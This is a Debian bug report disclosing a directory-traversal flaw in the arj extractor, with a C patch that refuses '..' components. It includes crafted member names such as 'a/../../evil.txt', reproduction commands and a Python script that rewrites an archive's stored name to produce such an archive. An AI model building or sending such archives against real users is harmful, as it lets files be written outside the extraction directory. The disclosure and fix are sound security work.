Package: arj
Version: 3.10.22-29
Severity: important
Tags: security patch

Dear Maintainer,

"arj x" still writes files outside the target directory when a member name
contains ".." after an ordinary first component. This was reported privately
to the Debian Security Team first, who asked for a public bug report.

Affected:
- arj 3.10.22-28 on trixie (amd64)
- arj 3.10.22-29 built from the current sid source package

security-traversal-dir.patch (the CVE-2015-0557 fix) makes validate_path()
strip only a leading drive spec, leading "../" and leading separators. A
member name whose first component is ordinary is passed through unchanged:

  stored name              "arj x" in <target> writes
  ../evil1.txt             <target>/evil1.txt          (stripped, OK)
  a/../../evil2.txt        <target>/../evil2.txt       ESCAPES
  a/b/../../../evil4.txt   <target>/../evil4.txt       ESCAPES
  a/./../../evil6.txt      <target>/../evil6.txt       ESCAPES

Every further ".." climbs one more level, so a crafted archive decides how
far above the extraction directory a file is written, for example into the
home directory when extracting under ~/Downloads/x. "arj t" reports such an
archive as OK. CVE-2015-0556 covers symlinks and CVE-2015-0557 leading
separators; I found no existing CVE or bug for this case.

Reproduction (the attached arj_rename_member.py rewrites the first member's
stored name and recomputes the basic header CRC):

  mkdir -p /tmp/t/one/two/out && cd /tmp/t
  echo PAYLOAD > payload.txt
  arj a base.arj payload.txt
  python3 arj_rename_member.py base.arj evil.arj 'a/../../evil.txt'
  arj t evil.arj                 # tests OK
  cd /tmp/t/one/two/out && arj x -y /tmp/t/evil.arj
  ls /tmp/t/one/two/evil.txt     # one level above the target

The attached security-traversal-dotdot.patch applies on top of the
3.10.22-29 series. Before anything is written, it checks the stored part of
the output name (after the target directory): a leading separator or any
".." component makes the member be reported as skipped and counted as an
error, like other refused members. It is deliberately strict: a name such
as "ok/../inside.txt", which would stay inside the target, is refused too.

Tested on sid with the rebuilt 3.10.22-29 package: all three escaping names
above are skipped and arj exits with status 1; "../evil1.txt" is still
stripped and extracted inside the target as before; an ordinary archive with
a subdirectory extracts unchanged with "x", "e" and an explicit target
directory.

Regards
Mario Fetka
Description: Refuse extracted member names that leave the target directory
 validate_path(), extended by security-traversal-dir.patch for
 CVE-2015-0557, strips only a leading drive spec, leading "../" and leading
 path separators. A member name whose first component is ordinary, such as
 "a/../../evil.txt", is passed through unchanged, so "arj x" writes it
 outside the target directory; every further ".." climbs one more level.
 .
 Before anything is written, check the stored part of the output name (the
 part after the target directory): it must not start with a path separator
 and must not contain a ".." component. Such members are reported as
 skipped and counted as errors, as other refused members are.
Author: Mario Fetka <[email protected]>
Forwarded: no
Last-Update: 2026-11-09

--- a/arj_arcv.c
+++ b/arj_arcv.c
@@ -2999,6 +2999,19 @@
       #endif
      }
     }
+    #if SFX_LEVEL>=ARJ
+     /* Refuse a crafted member name before anything is written. target_dir
+        always ends with a separator (or is empty), and the chapter subdir is
+        generated by ARJ, so the check covers exactly the stored name. */
+     if(!extract_to_file&&!is_safe_member_path(out_name+strlen(target_dir)))
+     {
+      msg_cprintf(H_HL|H_NFMT, M_SKIPPED, out_name);
+      skip_file();
+      errors++;
+      write_index_entry(idxid_fault);
+      return(0);
+     }
+    #endif
     if(continued_prevvolume&&ofstream!=NULL)
     {
      crc32term=CRC_MASK;
--- a/environ.c
+++ b/environ.c
@@ -2085,6 +2085,31 @@
 }
 #endif
 
+#if SFX_LEVEL>=ARJ
+/* Returns 1 if the member part of an output path (the part following the
+   operator's target directory) stays below that directory. validate_path()
+   only strips leading drivespecs, "../" and separators, so a stored name like
+   "a/../../x" would otherwise escape it; with "e", entry_pos from a foreign
+   host's header may also select a leading separator. */
+int is_safe_member_path(char *path)
+{
+ char *c, *e;
+ int len;
+
+ if(path[0]==PATHSEP_DEFAULT||path[0]==PATHSEP_UNIX)
+  return(0);
+ for(c=path; *c!='\0'; c=(*e=='\0')?e:e+1)
+ {
+  for(e=c; *e!='\0'&&*e!=PATHSEP_DEFAULT&&*e!=PATHSEP_UNIX; e++)
+   ;
+  len=(int)(e-c);
+  if(len==2&&c[0]=='.'&&c[1]=='.')
+   return(0);
+ }
+ return(1);
+}
+#endif
+
 /* Convert the given path to uppercase and validate it */
 
 #if SFX_LEVEL>=ARJSFXV
--- a/environ.h
+++ b/environ.h
@@ -914,6 +914,9 @@
 int file_exists(char *name);
 FILE *file_open(char *name, char *mode);
 void default_case_path(char *dest, char *src);
+#if SFX_LEVEL>=ARJ
+ int is_safe_member_path(char *path);
+#endif
 int uni_getch();
 unsigned long get_ticks();
 unsigned long file_getfree(char *name);
"""Rewrite the stored name of the first member in an ARJ archive.

ARJ technical description (arj/doc/technote.txt): each header starts with
0x60 0xEA, then a 2-byte little-endian basic header size, the basic header,
its CRC32 (4 bytes) and extended headers (2-byte size each, 0 terminates).
Inside the basic header, byte 0 is first_hdr_size; the NUL-terminated file
name starts at first_hdr_size, followed by the NUL-terminated comment. Field
order as read by arj_arcv.c read_header(): byte 4 is arj_flags (bit 0x10,
PATHSYM_FLAG, marks '/' separators); bytes 24..25 (LE word) hold entry_pos,
the position of the file name after its directory part.
"""
import struct
import sys
import zlib


def read_header(data, pos):
    if data[pos:pos + 2] != b'\x60\xea':
        raise SystemExit('missing ARJ header id at %d' % pos)
    size = struct.unpack_from('<H', data, pos + 2)[0]
    basic = data[pos + 4:pos + 4 + size]
    crc = struct.unpack_from('<I', data, pos + 4 + size)[0]
    if zlib.crc32(basic) & 0xffffffff != crc:
        raise SystemExit('basic header CRC mismatch')
    ext = pos + 8 + size
    while True:
        ext_size = struct.unpack_from('<H', data, ext)[0]
        ext += 2
        if ext_size == 0:
            break
        ext += ext_size + 4
    return basic, ext


source, target, name = sys.argv[1], sys.argv[2], sys.argv[3].encode('latin-1')
data = open(source, 'rb').read()
_, member = read_header(data, 0)
basic, after = read_header(data, member)
first = basic[0]
name_end = basic.index(b'\0', first)
comment_end = basic.index(b'\0', name_end + 1)
fixed = bytearray(basic[:first])
fixed[4] |= 0x10
cut = max(name.rfind(b'/'), name.rfind(b'\\'))
struct.pack_into('<H', fixed, 24, cut + 1)
new = bytes(fixed) + name + b'\0' + basic[name_end + 1:comment_end + 1]
out = (data[:member] + b'\x60\xea' + struct.pack('<H', len(new)) + new +
       struct.pack('<I', zlib.crc32(new) & 0xffffffff) + data[member + 8 + len(basic):])
open(target, 'wb').write(out)

Reply via email to